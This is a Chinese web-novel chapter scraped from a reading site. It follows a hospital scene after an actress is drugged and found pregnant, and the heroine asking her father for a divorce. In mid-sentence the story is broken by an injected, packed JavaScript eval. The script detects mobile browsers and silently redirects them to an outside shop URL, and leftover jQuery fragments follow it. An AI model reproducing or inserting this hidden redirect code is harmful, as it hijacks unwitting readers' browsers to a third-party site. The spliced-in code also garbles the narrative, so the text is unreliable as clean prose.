文趣网 > 其他小说 > 美丽之最 > 25. FreeFall
    深夜十二点,旎真在无比安静的楼梯间待着。

    她蹲坐在第二排台阶上,腿边已经有三个烟头,两罐啤酒,身后脚步声临近,徐景商弯腰用纸包着捡起烟头,丢进了消防门外的垃圾桶。

    四下都没有杂音,她默默看着正前方小窗外露出半截发着灯光的大厦,忽而红蓝白绿,渐入渐出的。

    “说都说了,陈总会处理的,我们回去吧。”徐景商在她旁边蹲下,伸手扣住她的肩膀。

    事情逐渐演变成他们这群半大孩子无法掌控的局面,众人作鸟兽散,生怕危及到自身。

    过了几分钟,来电声响起,现在她们谁听到这声音精神都不由一振,旎真划开屏幕:“怎么样了?好。”

    “走吧,”挂断电话,旎真拉着徐景商的手猛地站起来,顺手将空罐子拎走。

    “他们在哪?”

    “医院。”

    陈延泽不知从哪提前得到消息赶了过去,很及时,说在场还有其他人,不是一两天了,是有预谋的一场局。旎真没亲眼看见,但一路上都控制不住地去想。

    他身体一直没好彻底,就这么强撑着也要跑去救她,旎真喉口泛起一阵酸,她觉得自己矛盾死了,明明她也不想齐一禾出事,哪边都想要,哪边都想好。

    赶到医院的时候,黄姨正拉着陈延泽数落。

    没料到她在,旎真下意识放慢脚步走过去想帮他解个围:“黄姨,这么晚了,您要不先回去休息。”

    陈延泽眉心一股明显的郁色,撇过头不停咳嗽,田蔚立刻扶着他来到墙边排椅坐下。

    黄姨身边没带任何人,好像这个时候才是一个孤立无援的母亲。

    “旎真啊,你说我怎么就养出这么个儿子啊,啊?放着家里这位挑不出毛病的正经太太不管!非得找这种不值当的女人啊!她只会拖累你!会害了你知道吗?”

    说到后半句时她侧过脸,几乎是用吼的,冲着椅子上始终沉着脸没反应的陈延泽。

    旎真唇线抿直,也不去看他,默默挽着黄姨轻轻顺着她的后背。

    “好,好,我今天说什么也要守在这里......”

    “您回去吧,”陈延泽蓦然开口:“这么多人在这儿,会打扰到她休息。”

    “您请一起回吧!”这时,对面手术室门外一个身穿白色polo衫的中年男子掩面痛道。

    “我干什么轮得到你多嘴?”

    “......陈总,一禾现在这样不都是因为您吗?”

    陈延泽低着脑袋,双肩仿佛灌铅,浑身病气与颓气夹杂着,不再出声了。

    他一时的疏忽差点酿成大错,懊悔,自责,愤怒几乎吞没了他。

    过了很久他说:“我就在这,以后都在。”

    中年男子冷着眼猛地撇过头,没再说什么。

    黄姨颤颤巍巍地伸出手指他:“......你,你要么跟旎真一起回家,要么我留下处理这个贱货,你选吧!”

    “妈,别逼我。”

    “如果我非得逼你选一个呢?你能把我怎么样!?”

    “不能怎么样,”陈延泽面无表情地咳了两声:“除非您希望我死。”

    田蔚在一旁看着,简直觉得心惊肉跳,根本不敢去看这几位的脸色。

    旎真指骨节僵了一下,余光瞥到他苍白的侧脸,终究是无法做到置之不顾:“黄姨,他身体一直没痊愈,别再刺激他了,有什么事明天再说,您先回去吧,医生嘱咐过不能有剧烈情绪波动的。”

    她觉得自己念这段话的时候,不是作为旎真。身体里有一双手,硬生生掐住她的心脏,使一部分情感剥离了。

    作为陈太太,她赢不了丈夫的心;作为旎真,她无措地看着自己喜欢的男人,为另一个女人求生求死。

    当剥离所有情感后,她仅能看见这对苦命爱侣。这一刻她彷徨了,分不清自己对陈延泽到底是不是喜欢,有多喜欢,如果有对比,那她这点爱意算得了什么。

    黄姨最终还是离开了,田蔚担心老板身体想留下来,但又怕留下来听到什么不该听的,幸好旎真让他陪着黄姨一起回去,走的时候齐一禾经纪人提醒了一句别从正门走,可能有狗仔伪装。

    余下四个人,三站一坐相顾无言,徐景商说:“我去买几瓶水。”

    她走后,旎真在排椅另一端坐下。

    “......她怎么样现在?”

    “不好,我去的时候还是晚了一步,”说到这里他顿了顿,颤抖着呼出一道浊气:“她怀孕了。”

    旎真脸色一白,紧接着抬头去看对面站着的人,他表情沉默复杂,显然也是刚刚才得知。

    “我进去的时候她有意识,去医院的路上亲口告诉我的,四个月了......她那么瘦,自从分手以后全身瘦得只剩骨头,又怀了孩子。”陈延泽语不成调,俯下身将脸埋进双手里。

    他沉浸在这种巨大的悲恸里,面如土色,消瘦羸弱,旁人看见他这样只会认为这样的身体根本无法承受得住这种情绪,仿佛下一秒就会倒下。

    旎真震惊怔忡,好半晌说了句:“她...我不知道她今晚会来这儿,真的,我没想到会发生这种事......对不起。”

    “不是你的错,错都在我,一切的源头在我。”

    “......”

    徐景商拎着一袋水回来了,她从袋子里拿出两瓶依次分给他们,又看了对面的人一眼,犹豫了一下还是走过去递给他,没接。

    几分钟过后,医生从手术室走出来:“已经给病人洗胃了,另外她受了惊吓,还怀有身孕,后面需要静养休息。”

    听到怀孕时,徐景商倒吸口凉气,下意识瞥了眼?真。

    医生又多嘱咐了几句这期间该如何照顾病人,以及饮食之类的:“我建议明天再做一次产检,孕妇体弱,保不保得住胎儿还是个问题,家属要做好心理准备。”

    陈延泽默默应声,一旁的护士却注意到他的脸色异常苍白,甚至比手术室里躺着那位看起来病得更严重,眼里的好奇与惊讶掩饰不住。

    齐一禾被转移到就近的病房,医生护士们离开后,经纪人率先走了进去,还不忘将门带上。

    病房外,陈延泽转身看向旎真,还没开口就听她说:“你进去看她吧,我们先回家了,有什么情况记得告诉我。”

    “好......路上小心。”

    他本来想说谢谢,又觉得对不起更多一些,话到嘴边却说不出口了,因为这两样说出来都太轻薄。

    “你自己也注意身体。”旎真最后看了眼紧闭的病房,透过中间的玻璃仅能看见经纪人站在床边的背影。

    回到家中已经很晚了,旎真躺在床上,翻来覆去的睡不着。

    她的身体很累很疲惫,大脑却无比清醒。

    窗外积云密布,风雨如晦,沉闷滚滚的雷声惹得她整晚都没睡踏实。徐景商也是如此,一直从背后抱着她。

    隔天一早,旎真打给关董事长的秘书,说有事找,能不能尽快安排他们见个面。

    这两年集团效益不佳,接连投资的项目都是亏损状态,关董事长越来越忙,不知道从什么时候开始,旎真跟自己父亲见面还要预约,好在她并不在意这些细节。

    醒来后发现旁边空荡荡,她推开门,听到厨房里传来煤气灶开火的声音,走出去就看见徐景商正伏在台面上切菜。

    旎真换好衣服,坐在沙发上刷手机。昨晚的事并没有爆出来,黄姨走的时候,齐一禾经纪人提醒说楼下可能有狗仔,加上齐一禾从出道开始大小绯闻就没断过,所以狗仔手里多半是有料的,没爆出来大概是收钱了,或者还在跟陈家博弈中。

    迅速浏览这些新闻,一条也没看进去,想起这些糟心事,旎真忽然觉得没劲极了,只想赶紧结束这一切,不管结果如何,赶紧结束。

    她一刻也等不及了。

    十点二十三分的时候收到秘书的消息,说就在关家见面,午饭后一个小时他们会回来一趟。

    旎真回了消息,握着手机坐着发呆,不知道在想什么。

    “你真想好了要离婚?”徐景商抱着双腿,担忧道。

    “想好了。”而且是抓紧离婚:“我跟他的婚姻一开始就是错的......”

    旎真穿着针织连帽衫,头靠着墙角,手指动作很快地在滑手机屏幕,语气恹嗒嗒的。

    徐景商梗着脖子叹了口气,起身去厨房,没两分钟端着一碟子切好的水果回来,放在她面前。

    “你不是在怪自己吧?”

    “当然没有。”

    “嗯,你也是受害者啊......离婚也好,本来就不是自愿的事。”说到这,徐景商叉水果的动作停住:“对了,你要不要提前问问大小姐?”

    她会这样说,可见从前旎真就没什么主见,遇事不决便找关楚琼商量,从小到大都是如此,从昨晚看她独自闷着喝酒到现在都没提过一嘴,徐景商不禁感到好奇。

    旎真腮帮子慢慢动着:“......不用,我怕她知道了去找延泽哥闹,已经够乱了。”

    *

    叩叩叩——

    “进。”关耀钧视线紧紧盯着桌上的文件,办公室门开了又关,他眼皮子都没抬一下:“怎么样了?”

    助理颔首:“关董多半是知道内情的,这会儿正在回去的路上,我估计这次二小姐是认真的。”

    关耀钧摇摇头,洋洋洒洒签下几个字,将文件扔在旁边:“没用的丫头,随她吧。”

    “关

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709471|207629||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    总,楚琼总那边?”

    “先等一等,不着急公布,陈延泽为了那个女人肯定会查下去,楚琼费尽心思整垮他,一定也会有动作,只要东西还在威胁不到我,她翻不起风浪。”

    他的小妹大概是家里最蠢最天真的人了,殊不知最想她一无所有的人就是她自以为最亲的姐姐。

    话是这么说,助理却神情思虑,关耀钧往座椅上一靠,瞥他一眼:“怎么?”

    “我在想,会不会又发生上回那种事?”

    “......”他沉吟片刻:“明天开始就让旎真留在家里,派人好好照顾她。”

    助理瞬间明白了。

    同一时刻,旎真在家中书房坐着,四下万籁俱静,只有面前这壶老班章熟普洱在不断地冒着热烟儿。

    今天凌晨下了雨,到现在天还没放晴,窗户大开着,竹帘卷起半截,不安地磕在窗沿上哒哒作响。

    门开了一角,屠姨站在外面透过门缝看向旎真。她坐姿端正,背打得很直,一只手虚虚拢着茶杯,许久的沉默。

    直到楼道传来脚步声,屠姨才悄悄离开,没发出半点脚步声,只若有似无地叹了口气。

    旎真起来转过身:“爸。”

    关世庭淡淡颔首表示听到了,随手将外套挂在进门处的架子上,后面跟的人没进来,守在外面默默关上门。

    好长一段时间没见到女儿,他定定地瞅了旎真好几秒:“难得回来一趟,晚上在家陪爸爸吃顿饭。”

    “爸爸,我要跟陈延泽离婚。”她开门见山,语气镇定。

    关世庭闻言没作任何表示,径直走到书桌后面的椅子上坐下,跟旎真面对面,拿起茶杯抿了一口:“有点凉了。”

    旎真顿了下,一手提着茶壶,一手撑着盖子,往杯子里又倒了些许。

    关世庭再次拿起茶杯,细细品味。

    “旎真,有什么心事跟爸爸说说。”

    “我...我跟他过不下去。”她双手置于大腿,肩膀往下沉,目光低低的:“是我之前太天真,想法太简单了,这样的婚姻我完全接受不了。”

    “嗯,”关世庭眸色深沉,桌面上的双手握成拳:“是女儿受委屈了,旎真,有没有在心里记恨我?”

    旎真板着脸撇过去:“没有。”

    他闷闷地笑了两声:“你做什么决定爸爸都支持你,陈家那边我去谈。”

    旎真目光滞了半晌,愣愣地回过头:“爸,您同意我离婚了。”她没想到他居然这么轻而易举的允准了。

    “你是我生的,我还能眼睁睁看着你受委屈,延泽这人哪样都好,就是眼光不行......”他轻啧一声,长长地叹了口气:“还是他没有福分。”

    “......您知道了?”

    “今天一早知道了,这些记者鼻子比狗都灵,兔崽子守在医院的消息已经传开了,既然他情深至此,我们家还不松手倒显得没皮没脸的。”

    旎真默默将杯子里的茶饮尽:“爸,您跟我妈那会儿是盲婚哑嫁,刚开始怎么磨合的?”

    关世庭拧了拧眉头,动作轻微到几乎看不出,这是纵横商场几十年练就的一副喜怒无形模样。

    “时代不同了,跟你们年轻人不一样。”

    “我想也是,姐姐之前就说过我跟这家里所有人都不一样,像妈妈和哥这样过一辈子,我做不到。”

    关世庭笑了笑,似乎根本没将这番话听进去,指一记她。

    “你心里有怨气,冲我可以,冲你哥不行,明白没有?”

    旎真深深吸了口气,不吭声。

    从书房离开前,关世庭最后嘱咐了几句:“这几天暂时待在家里,外头不太平,我估计要不了多久网上的舆论声就大起来了,我怕你在外面被拍到,沾惹上娱乐圈就这些凹糟事。”

    他怕影响股市,既然事情发生了,就要将风险降到最低。旎真心里再不愿意也束手无策,于是再一次,她变相地被软禁了。

    上学期期末提前半个月回家备婚,这期刚开学又要再请一周假,这样下去连顺利毕业都成了个问题。

    徐景商傍晚的飞机,走之前专程来陪了旎真一会儿。

    旎真躺在后院的秋千上,依旧玩着那个闯关小游戏,徐景商盘腿坐在旁边草地上,屠姨专门铺了张隔水地毯,又准备了吃的喝的,俩人待了一会儿,接近四点钟的时候,她出发去机场了。

    隔天旎真用完晚饭,进浴室洗个澡的功夫,再出来时手机热点推送炸了。

    一则警情通报登上热搜:王某某(男,46岁)因对齐某某(女,33岁)犯强/奸未遂、猥亵,限制他人人身自由被警方逮捕,案件事实由现场视频监控,网络传播视频,当事人陈述等证据证实,案件还在进一步调查中。